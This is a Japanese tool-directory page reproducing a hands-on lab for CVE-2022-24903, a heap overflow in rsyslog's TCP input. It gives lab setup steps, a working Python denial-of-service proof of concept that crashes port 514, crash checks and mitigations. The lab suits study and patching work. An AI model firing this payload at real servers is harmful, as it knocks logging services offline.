Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Heap-based buffer overflow | Kitploit
ツール/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Vulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Heap-based buffer overflow

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
21日前未レビュー

CVE-2022-24903 ハンズオンラボ

著者: Andrew Beshay Mousa

rsyslogのヒープバッファオーバーフロー脆弱性を実演する、実践的なハンズオンラボです。

rsyslog CVE Type Protocol

TCP syslog受信におけるオクテットカウントフレーミングを介して、rsyslogヒープバッファオーバーフロー脆弱性 (CVE-2022-24903) を再現・理解するための実践的なラボ環境です。


目次

  • 概要
  • ラボの構成
  • 前提条件
  • 脆弱性の詳細
  • ラボのセットアップ
    • ターゲットマシン (Ubuntu)
    • 攻撃者マシン (Kali)
  • エクスプロイト
  • 検証
  • トラブルシューティング
  • 緩和策
  • 参考情報

概要

CVE-2022-24903 は、オクテットカウントフレーミング (RFC 5425) 使用時に rsyslog のTCP syslog受信モジュール (imtcp) に存在するヒープバッファオーバーフロー脆弱性です。

攻撃者は、過度に長いオクテットカウントプレフィックスを含む細工されたTCP syslogメッセージを送信することで、rsyslogにヒープ割り当てバッファの境界を超えた書き込みを引き起こし、サービス拒否 (DoS) または潜在的なメモリ破損をもたらす可能性があります。


ラボの構成

root@kitploit:~
+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

必要なVM

注: ターゲットには任意のUbuntuバージョン (20.04、22.04、24.04) を使用できます。重要なのは、脆弱なrsyslog 8.2001.0 .deb パッケージを手動でインストールすることです。


前提条件

  • VirtualBox または VMware Workstation
  • Ubuntu 22.04 ISO (~2 GB)
  • Kali Linux VM (~4 GB)
  • ハイパーバイザーで構成されたホストオンリーネットワーク
  • LinuxコマンドとPythonの基礎知識

脆弱性の詳細

オクテットカウントフレーミングとは?

TCP syslog (RFC 5425) では、メッセージの先頭にバイト単位の長さが付加されます:

root@kitploit:~
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

バグの内容

脆弱なrsyslogバージョンでは、オクテットカウントパーサーは次のように動作します:

  1. 数字を固定サイズのヒープバッファに蓄積する
  2. 数字の書き込み時にバッファ境界をチェックしない
  3. オクテット数が許容最大値を超えた後も数字の書き込みを継続する
root@kitploit:~
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

結果: 9999... (5000桁以上) を送信するとヒープバッファがオーバーフローし、隣接するメモリが破損します。

RCEが困難な理由

  • オーバーフローは数字のみ (0-9) に制限される
  • パーサーは最初の数字以外の文字で停止する
  • シェルコードを直接注入できない
  • DoSは確実に発生する; ベンダーはRCEの可能性は低いと評価している

ラボのセットアップ

ステップ1: ホストオンリーネットワークを構成する

ハイパーバイザーでホストオンリーネットワークを作成します:

  • サブネット: 192.168.56.0/24
  • DHCP: 無効 (静的IP)

両方のVMをこのネットワークに接続します。


ステップ2: ターゲットマシン (Ubuntu)

2.1 静的IPを設定する

root@kitploit:~
sudo nano /etc/netplan/00-installer-config.yaml

以下を貼り付け:

root@kitploit:~
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

適用:

root@kitploit:~
sudo netplan apply

確認:

root@kitploit:~
ip addr show | grep 192.168.56.20

2.2 最新のrsyslogを停止して削除する

root@kitploit:~
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 脆弱なrsyslogをダウンロードしてインストールする

root@kitploit:~
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

dpkgロックエラーが発生した場合:

root@kitploit:~
sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

バージョンの確認:

root@kitploit:~
rsyslogd -v | head -2

期待される出力:

root@kitploit:~
rsyslogd  8.2001.0

2.4 AppArmorを無効にする (ラボのみ)

AppArmorが原因で、古いパッケージのrsyslogが正しく機能しない可能性があります:

root@kitploit:~
sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 TCP 514用にrsyslogを構成する

root@kitploit:~
sudo nano /etc/rsyslog.conf

ファイルをクリアして以下を貼り付け:

root@kitploit:~
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 ファイアウォールのポートを開放する

root@kitploit:~
sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 rsyslogを起動する

root@kitploit:~
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

待ち受け状態の確認:

root@kitploit:~
sudo ss -tlnp | grep 514

期待される出力:

root@kitploit:~
LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

ステップ3: 攻撃者マシン (Kali)

3.1 静的IPを設定する

root@kitploit:~
sudo nano /etc/network/interfaces

以下を貼り付け:

root@kitploit:~
auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

またはNetplanを使用する場合:

root@kitploit:~
sudo nano /etc/netplan/01-netcfg.yaml
root@kitploit:~
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
root@kitploit:~
sudo netplan apply

3.2 エクスプロイトスクリプトを作成する

root@kitploit:~
cd ~/Desktop
nano exploit.py

以下を貼り付け:

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")

if __name__ == "__main__":
    print("=" * 50)
    print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
    print("=" * 50)
    exploit()

実行可能にする:

root@kitploit:~
chmod +x exploit.py

エクスプロイト

事前確認

攻撃者マシンから接続を確認します:

root@kitploit:~
nc -zv 192.168.56.20 514

期待される出力:

root@kitploit:~
(UNKNOWN) [192.168.56.20] 514 (shell) open

エクスプロイトを実行する

root@kitploit:~
python3 ~/Desktop/exploit.py

期待される出力:

root@kitploit:~
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.

検証

ターゲットマシンでクラッシュを確認します:

方法1: rsyslogがまだ実行中かどうかを確認する

root@kitploit:~
ps aux | grep rsyslog

出力がない場合 -> rsyslogはクラッシュしています

方法2: カーネルログを確認する

root@kitploit:~
sudo dmesg | tail -10

期待される出力:

root@kitploit:~
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]

または:

root@kitploit:~
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]

方法3: systemdジャーナルを確認する

root@kitploit:~
sudo journalctl -u rsyslog --no-pager | tail -10

方法4: 再起動して再テストする

再現性を確認するには:

root@kitploit:~
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514

その後、Kaliからエクスプロイトを再実行してください。再びクラッシュするはずです。


トラブルシューティング


緩和策

1. rsyslogをアップグレードする

root@kitploit:~
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog

パッチ適用済みバージョンの確認:

root@kitploit:~
rsyslogd -v | head -2

8.2204.1以上である必要があります。

2. 不要な場合はTCP syslogを無効にする

/etc/rsyslog.conf 内でコメントアウトしてください:

root@kitploit:~
# module(load="imtcp")
# input(type="imtcp" port="514")

3. TLS/SSLを使用する (RFC 5425)

TCP syslogが必要な場合は、暗号化トランスポートを使用してください:

root@kitploit:~
module(load="imgtls")
input(type="imgtls" port="6514")

4. ファイアウォールによる制限

TCP 514を信頼できるホストのみに制限します:

root@kitploit:~
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp

参考情報

  • NVD - CVE-2022-24903
  • rsyslog Security Advisory
  • Ubuntu Security Notice USN-5404-1
  • RFC 5424 - Syslog Protocol
  • RFC 5425 - TLS Transport

免責事項

このラボは教育および研究目的のみを対象としています。所有していない、または明示的なテスト許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。著者は、この情報の不正使用について一切の責任を負いません。


ライセンス

このプロジェクトはMITライセンスの下で提供されています。


コーヒーと好奇心を携えて、Andrew Beshay Mousaが作成しました。

ツールをダウンロード
属性値
CVE IDCVE-2022-24903
影響を受けるバージョンrsyslog < 8.2204.1
攻撃ベクトルネットワーク
ポート514/TCP
モジュールimtcp (TCP入力)
影響DoS / ヒープ破壊
RCEの可能性?なし (ベンダー評価)
VMOS役割IPRAMCPU
ターゲットUbuntu 22.04脆弱なrsyslogサーバー192.168.56.201 GB1
攻撃者Kali Linuxエクスプロイト送信側192.168.56.102 GB1
問題解決方法
Connection refusedrsyslogが実行されていないか、TCP 514で待ち受けていません。sudo systemctl status rsyslog と `sudo ss -tlnp
Unit rsyslog.service is maskedsudo systemctl unmask rsyslog.service syslog.socket を実行してください
dpkg frontend locksudo kill -9 <PID> を実行してから sudo rm -f /var/lib/dpkg/lock-frontend を実行してください
AppArmor DENIED in dmesgsudo systemctl stop apparmor && sudo systemctl disable apparmor を実行してください
rsyslogのバージョンが8.2112+パッチ適用済みバージョンをインストールしています。rsyslog_8.2001.0-1ubuntu1_amd64.deb を手動でダウンロードしてインストールしてください
エクスプロイト後もクラッシュしないペイロードサイズを b"9" * 20000 に増やしてください